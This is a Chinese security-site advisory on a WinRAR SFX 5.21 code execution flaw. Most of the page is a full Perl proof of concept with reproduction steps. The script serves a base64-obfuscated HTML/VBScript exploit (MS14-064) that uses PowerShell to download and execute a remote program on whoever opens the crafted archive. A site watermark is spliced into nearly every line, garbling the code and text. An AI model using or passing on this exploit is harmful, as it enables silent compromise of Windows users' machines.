您当前的位置:首页 > linux安全

WinRAR SFX v5.21远程代码执行漏洞

WinRAR SFX v5.21远程代码执行漏洞

Nuklinux系统宝典
发布日期:2015-10-05Nuklinux系统宝典
更新日期:2015-10-08Nuklinux系统宝典
Nuklinux系统宝典
受影响系统:Nuklinux系统宝典

WinRar WinRar 5.21

描述:Nuklinux系统宝典


WinRAR是一款非常流行的压缩/解压工具。Nuklinux系统宝典
Nuklinux系统宝典
WInRAR SFX v5.21,Text to display in SFX window模块的Text and Icon功能存在远程代码执行安全漏洞,远程攻击者用带恶意负载的压缩包利用此漏洞,成功后可执行特定的系统代码,破解系统、网络或设备。Nuklinux系统宝典
Nuklinux系统宝典
<*来源:VULNERABILITY LABORATORY (research@vulnerability-lab com)Nuklinux系统宝典
        Mohammad Reza EsparghamNuklinux系统宝典
  Nuklinux系统宝典
  链接:Nuklinux系统宝典
*>Nuklinux系统宝典
Nuklinux系统宝典
测试方法:Nuklinux系统宝典


警 告Nuklinux系统宝典
Nuklinux系统宝典
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Nuklinux系统宝典

The code execution vulnerability can be exploited by remote attackers without privilege system user account or user Nuklinux系统宝典
interaction.Nuklinux系统宝典
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to Nuklinux系统宝典
continue.Nuklinux系统宝典
Nuklinux系统宝典
Manual steps to reproduce the vulnerability ...Nuklinux系统宝典
1.      Run perl code : perl poc.plNuklinux系统宝典
2.      Right Click on any file and select "add to archive..."Nuklinux系统宝典
3.      Select "Create SFX archive"Nuklinux系统宝典
4.      Go to the Advanced Menu and select "SFX options..."Nuklinux系统宝典
5.      Go to the "Text and icon" MenuNuklinux系统宝典
6.      Copy this perl output (HTML) and past on "Text to display in SFX window"Nuklinux系统宝典
7.      Click OK -- OKNuklinux系统宝典
8.      Your SFX file Created Nuklinux系统宝典
9.      Just open sfx fileNuklinux系统宝典
10.    Your Link Download/Execute on your targetNuklinux系统宝典
11.    Successful reproduce of the code execution vulnerability! Nuklinux系统宝典
Nuklinux系统宝典
Nuklinux系统宝典
PoC: Exploit CodeNuklinux系统宝典
#!/usr/bin/perlNuklinux系统宝典
# Title : WinRaR SFX - Remote Code ExecutionNuklinux系统宝典
# Affected Versions: All VersionNuklinux系统宝典
# Tested on Windows 7 / Server 2008Nuklinux系统宝典
#Nuklinux系统宝典
# Author: Mohammad Reza EsparghamNuklinux系统宝典
# Linkedin: Nuklinux系统宝典
# E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]comNuklinux系统宝典
# Website: www.reza.esNuklinux系统宝典
# Twitter: Nuklinux系统宝典
# FaceBook: Nuklinux系统宝典
#Nuklinux系统宝典
# ID: MS14-064Nuklinux系统宝典
Nuklinux系统宝典
use strict;Nuklinux系统宝典
use warnings;Nuklinux系统宝典
use IO::Socket;Nuklinux系统宝典
use MIME::Base64 qw( decode_base64 );Nuklinux系统宝典
use Socket 'inet_ntoa';Nuklinux系统宝典
use Sys::Hostname 'hostname';Nuklinux系统宝典
Nuklinux系统宝典
print "    Mohammad Reza Espargham/n/n";Nuklinux系统宝典
my $ip = inet_ntoa(scalar gethostbyname(hostname() || 'localhost'));Nuklinux系统宝典
Nuklinux系统宝典
my $port = 80;Nuklinux系统宝典
Nuklinux系统宝典
print "Winrar HTML Code/n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://&apos; . $ip . Nuklinux系统宝典
'"></head></html>'."/n/n" if($port==80);Nuklinux系统宝典
print "Winrar HTML Code/n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://&apos; . $ip . Nuklinux系统宝典
':' . $port . '"></head></html>'."/n/n" if($port!=80);Nuklinux系统宝典
Nuklinux系统宝典
my $server = new IO::Socket::INET(  Proto => 'tcp',Nuklinux系统宝典
LocalPort => $port,Nuklinux系统宝典
Listen => SOMAXCONN,Nuklinux系统宝典
ReuseAddr => 1)Nuklinux系统宝典
or die "Unable to create server socket";Nuklinux系统宝典
Nuklinux系统宝典
# Server loopNuklinux系统宝典
while(my $client = $server->accept())Nuklinux系统宝典
{Nuklinux系统宝典
    my $client_info;Nuklinux系统宝典
    while(<$client>)Nuklinux系统宝典
    {Nuklinux系统宝典
        last if /^/r/n$/;Nuklinux系统宝典
        $client_info .= $_;Nuklinux系统宝典
    }Nuklinux系统宝典
    incoming($client, $client_info);Nuklinux系统宝典
}Nuklinux系统宝典
Nuklinux系统宝典
sub incomingNuklinux系统宝典
{Nuklinux系统宝典
    print "/n=== Incoming Request:/n";Nuklinux系统宝典
    my $client = shift;Nuklinux系统宝典
    print $client &buildResponse($client, shift);Nuklinux系统宝典
    close($client);Nuklinux系统宝典
}Nuklinux系统宝典
Nuklinux系统宝典
sub buildResponseNuklinux系统宝典
{Nuklinux系统宝典
    my $client = shift;Nuklinux系统宝典
    my $client_info = shift;Nuklinux系统宝典
    Nuklinux系统宝典
    my $poc="CjxodG1sPgo8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVtNuklinux系统宝典
    dWxhdGVJRTgiID4KPGhlYWQ+CjwvaGVhZD4KPGJvZHk+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJTNuklinux系统宝典
    Y3JpcHQiPgoKZnVuY3Rpb24gcnVubXVtYWEoKSAKT24gRXJyb3IgUmVzdW1lIE5leHQKc2V0IHNoNuklinux系统宝典
    ZWxsPWNyZWF0ZW9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKQpjb21tYW5kPSJJbnZva2UtRXhwNuklinux系统宝典
    cmVzc2lvbiAkKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnNuklinux系统宝典
    aHR0cDovL3RoZS5lYXJ0aC5saS9+c2d0YXRoYW0vcHV0dHkvbGF0ZXN0L3g4Ni9wdXR0eS5leGUnNuklinux系统宝典
    LCdsb2FkLmV4ZScpOyQoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4Nuklinux系统宝典
    ZWN1dGUoJ2xvYWQuZXhlJyk7IgpzaGVsbC5TaGVsbEV4ZWN1dGUgInBvd2Vyc2hlbGwuZXhlIiwgNuklinux系统宝典
    Ii1Db21tYW5kICIgJiBjb21tYW5kLCAiIiwgInJ1bmFzIiwgMAplbmQgZnVuY3Rpb24KPC9zY3JpNuklinux系统宝典
    cHQ+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPgogIApkaW0gICBhYSgpCmRpbSAgIGFiNuklinux系统宝典
    KCkKZGltICAgYTAKZGltICAgYTEKZGltICAgYTIKZGltICAgYTMKZGltICAgd2luOXgKZGltICAgNuklinux系统宝典
    aW50VmVyc2lvbgpkaW0gICBybmRhCmRpbSAgIGZ1bmNsYXNzCmRpbSAgIG15YXJyYXkKIApCZWdpNuklinux系统宝典
    bigpCiAKZnVuY3Rpb24gQmVnaW4oKQogIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgaW5mbz1OYXZpNuklinux系统宝典
    Z2F0b3IuVXNlckFnZW50CiAKICBpZihpbnN0cihpbmZvLCJXaW42NCIpPjApICAgdGhlbgogICAgNuklinux系统宝典
    IGV4aXQgICBmdW5jdGlvbgogIGVuZCBpZgogCiAgaWYgKGluc3RyKGluZm8sIk1TSUUiKT4wKSAgNuklinux系统宝典
    IHRoZW4gCiAgICAgICAgICAgICBpbnRWZXJzaW9uID0gQ0ludChNaWQoaW5mbywgSW5TdHIoaW5mNuklinux系统宝典
    bywgIk1TSUUiKSArIDUsIDIpKSAgIAogIGVsc2UKICAgICBleGl0ICAgZnVuY3Rpb24gIAogICAgNuklinux系统宝典
    ICAgICAgICAgIAogIGVuZCBpZgogCiAgd2luOXg9MAogCiAgQmVnaW5Jbml0KCkKICBJZiBDcmVhNuklinux系统宝典
    dGUoKT1UcnVlIFRoZW4KICAgICBteWFycmF5PSAgICAgICAgY2hydygwMSkmY2hydygyMTc2KSZjNuklinux系统宝典
    aHJ3KDAxKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKQogICAgNuklinux系统宝典
    IG15YXJyYXk9bXlhcnJheSZjaHJ3KDAwKSZjaHJ3KDMyNzY3KSZjaHJ3KDAwKSZjaHJ3KDApCiAKNuklinux系统宝典
    ICAgICBpZihpbnRWZXJzaW9uPDQpIHRoZW4KICAgICAgICAgZG9jdW1lbnQud3JpdGUoIjxicj4gNuklinux系统宝典
    SUUiKQogICAgICAgICBkb2N1bWVudC53cml0ZShpbnRWZXJzaW9uKQogICAgICAgICBydW5zaGVsNuklinux系统宝典
    bGNvZGUoKSAgICAgICAgICAgICAgICAgICAgCiAgICAgZWxzZSAgCiAgICAgICAgICBzZXRub3RzNuklinux系统宝典
    YWZlbW9kZSgpCiAgICAgZW5kIGlmCiAgZW5kIGlmCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9uIEJlNuklinux系统宝典
    Z2luSW5pdCgpCiAgIFJhbmRvbWl6ZSgpCiAgIHJlZGltIGFhKDUpCiAgIHJlZGltIGFiKDUpCiAgNuklinux系统宝典
    IGEwPTEzKzE3KnJuZCg2KQogICBhMz03KzMqcm5kKDUpCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9uNuklinux系统宝典
    IENyZWF0ZSgpCiAgT24gRXJyb3IgUmVzdW1lIE5leHQKICBkaW0gaQogIENyZWF0ZT1GYWxzZQogNuklinux系统宝典
    IEZvciBpID0gMCBUbyA0MDAKICAgIElmIE92ZXIoKT1UcnVlIFRoZW4KICAgICAgIENyZWF0ZT1UNuklinux系统宝典
    cnVlCiAgICAgICBFeGl0IEZvcgogICAgRW5kIElmIAogIE5leHQKZW5kIGZ1bmN0aW9uCiAKc3ViNuklinux系统宝典
    IHRlc3RhYSgpCmVuZCBzdWIKIApmdW5jdGlvbiBteWRhdGEoKQogICAgT24gRXJyb3IgUmVzdW1lNuklinux系统宝典
    IE5leHQKICAgICBpPXRlc3RhYQogICAgIGk9bnVsbAogICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhNuklinux系统宝典
    MikgIAogICAKICAgICBhYigwKT0wCiAgICAgYWEoYTEpPWkKICAgICBhYigwKT02LjM2NTk4NzM3Nuklinux系统宝典
    NDM3ODAxRS0zMTQKIAogICAgIGFhKGExKzIpPW15YXJyYXkKICAgICBhYigyKT0xLjc0MDg4NTM0Nuklinux系统宝典
    NzMxMzI0RS0zMTAgIAogICAgIG15ZGF0YT1hYShhMSkKICAgICByZWRpbSAgUHJlc2VydmUgYWEoNuklinux系统宝典
    YTApICAKZW5kIGZ1bmN0aW9uIAogCiAKZnVuY3Rpb24gc2V0bm90c2FmZW1vZGUoKQogICAgT24gNuklinux系统宝典
    RXJyb3IgUmVzdW1lIE5leHQKICAgIGk9bXlkYXRhKCkgIAogICAgaT1ydW0oaSs4KQogICAgaT1yNuklinux系统宝典
    dW0oaSsxNikKICAgIGo9cnVtKGkrJmgxMzQpICAKICAgIGZvciBrPTAgdG8gJmg2MCBzdGVwIDQKNuklinux系统宝典
    ICAgICAgICBqPXJ1bShpKyZoMTIwK2spCiAgICAgICAgaWYoaj0xNCkgdGhlbgogICAgICAgICAgNuklinux系统宝典
    ICAgIGo9MCAgICAgICAgICAKICAgICAgICAgICAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAgNuklinux系统宝典
    ICAgICAgICAgIAogICAgIGFhKGExKzIpKGkrJmgxMWMrayk9YWIoNCkKICAgICAgICAgICAgICByNuklinux系统宝典
    ZWRpbSAgUHJlc2VydmUgYWEoYTApICAKIAogICAgIGo9MCAKICAgICAgICAgICAgICBqPXJ1bShpNuklinux系统宝典
    KyZoMTIwK2spICAgCiAgICAgICAgICAKICAgICAgICAgICAgICAgRXhpdCBmb3IKICAgICAgICAgNuklinux系统宝典
    ICBlbmQgaWYKIAogICAgbmV4dCAKICAgIGFiKDIpPTEuNjk3NTk2NjMzMTY3NDdFLTMxMwogICAgNuklinux系统宝典
    cnVubXVtYWEoKSAKZW5kIGZ1bmN0aW9uCiAKZnVuY3Rpb24gT3ZlcigpCiAgICBPbiBFcnJvciBSNuklinux系统宝典
    ZXN1bWUgTmV4dAogICAgZGltIHR5cGUxLHR5cGUyLHR5cGUzCiAgICBPdmVyPUZhbHNlCiAgICBhNuklinux系统宝典
    MD1hMCthMwogICAgYTE9YTArMgogICAgYTI9YTArJmg4MDAwMDAwCiAgIAogICAgcmVkaW0gIFByNuklinux系统宝典
    ZXNlcnZlIGFhKGEwKSAKICAgIHJlZGltICAgYWIoYTApICAgICAKICAgCiAgICByZWRpbSAgUHJlNuklinux系统宝典
    c2VydmUgYWEoYTIpCiAgIAogICAgdHlwZTE9MQogICAgYWIoMCk9MS4xMjM0NTY3ODkwMTIzNDU2Nuklinux系统宝典
    Nzg5MDEyMzQ1Njc4OTAKICAgIGFhKGEwKT0xMAogICAgICAgICAgIAogICAgSWYoSXNPYmplY3QoNuklinux系统宝典
    YWEoYTEtMSkpID0gRmFsc2UpIFRoZW4KICAgICAgIGlmKGludFZlcnNpb248NCkgdGhlbgogICAgNuklinux系统宝典
    ICAgICAgIG1lbT1jaW50KGEwKzEpKjE2ICAgICAgICAgICAgIAogICAgICAgICAgIGo9dmFydHlwNuklinux系统宝典
    ZShhYShhMS0xKSkKICAgICAgICAgICBpZigoaj1tZW0rNCkgb3IgKGoqOD1tZW0rOCkpIHRoZW4KNuklinux系统宝典
    ICAgICAgICAgICAgICBpZih2YXJ0eXBlKGFhKGExLTEpKTw+MCkgIFRoZW4gICAgCiAgICAgICAgNuklinux系统宝典
    ICAgICAgICAgSWYoSXNPYmplY3QoYWEoYTEpKSA9IEZhbHNlICkgVGhlbiAgICAgICAgICAgICAKNuklinux系统宝典
    ICAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUoYWEoYTEpKQogICAgICAgICAgICAgICAgNuklinux系统宝典
    IGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIGVuZCBpZgogICAgICAgICAgIGVsNuklinux系统宝典
    c2UKICAgICAgICAgICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKICAgICAgICAgICAgIGV4aXQgNuklinux系统宝典
    IGZ1bmN0aW9uCiAKICAgICAgICAgICBlbmQgaWYgCiAgICAgICAgZWxzZQogICAgICAgICAgIGlmNuklinux系统宝典
    KHZhcnR5cGUoYWEoYTEtMSkpPD4wKSAgVGhlbiAgICAKICAgICAgICAgICAgICBJZihJc09iamVjNuklinux系统宝典
    dChhYShhMSkpID0gRmFsc2UgKSBUaGVuCiAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUoNuklinux系统宝典
    YWEoYTEpKQogICAgICAgICAgICAgIGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICBlNuklinux系统宝典
    bmQgaWYKICAgICAgICBlbmQgaWYKICAgIGVuZCBpZgogICAgICAgICAgICAgICAKICAgICAKICAgNuklinux系统宝典
    IElmKHR5cGUxPSZoMmY2NikgVGhlbiAgICAgICAgIAogICAgICAgICAgT3Zlcj1UcnVlICAgICAgNuklinux系统宝典
    CiAgICBFbmQgSWYgIAogICAgSWYodHlwZTE9JmhCOUFEKSBUaGVuCiAgICAgICAgICBPdmVyPVRyNuklinux系统宝典
    dWUKICAgICAgICAgIHdpbjl4PTEKICAgIEVuZCBJZiAgCiAKICAgIHJlZGltICBQcmVzZXJ2ZSBhNuklinux系统宝典
    YShhMCkgICAgICAgICAgCiAgICAgICAgIAplbmQgZnVuY3Rpb24KIApmdW5jdGlvbiBydW0oYWRkNuklinux系统宝典
    KSAKICAgIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAKNuklinux系统宝典
    ICAgCiAgICBhYigwKT0wICAgCiAgICBhYShhMSk9YWRkKzQgICAgIAogICAgYWIoMCk9MS42OTc1Nuklinux系统宝典
    OTY2MzMxNjc0N0UtMzEzICAgICAgIAogICAgcnVtPWxlbmIoYWEoYTEpKSAgCiAgICAKICAgIGFiNuklinux系统宝典
    KDApPTAKICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKZW5kIGZ1bmN0aW9uCiAKPC9zY3JpcHQ+Nuklinux系统宝典
    CiAKPC9ib2R5Pgo8L2h0bWw+";Nuklinux系统宝典
    $poc = decode_base64($poc);Nuklinux系统宝典
    Nuklinux系统宝典
    my $r = "HTTP/1.0 200 OK/r/nContent-type: text/html/r/n/r/nNuklinux系统宝典
    $poc";Nuklinux系统宝典
    return $r;Nuklinux系统宝典
}Nuklinux系统宝典
Nuklinux系统宝典
建议:Nuklinux系统宝典


厂商补丁:Nuklinux系统宝典
Nuklinux系统宝典
WinRarNuklinux系统宝典
------Nuklinux系统宝典
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:Nuklinux系统宝典
Nuklinux系统宝典
Nuklinux系统宝典
Nuklinux系统宝典
Nuklinux系统宝典



沪ICP备10206494号-4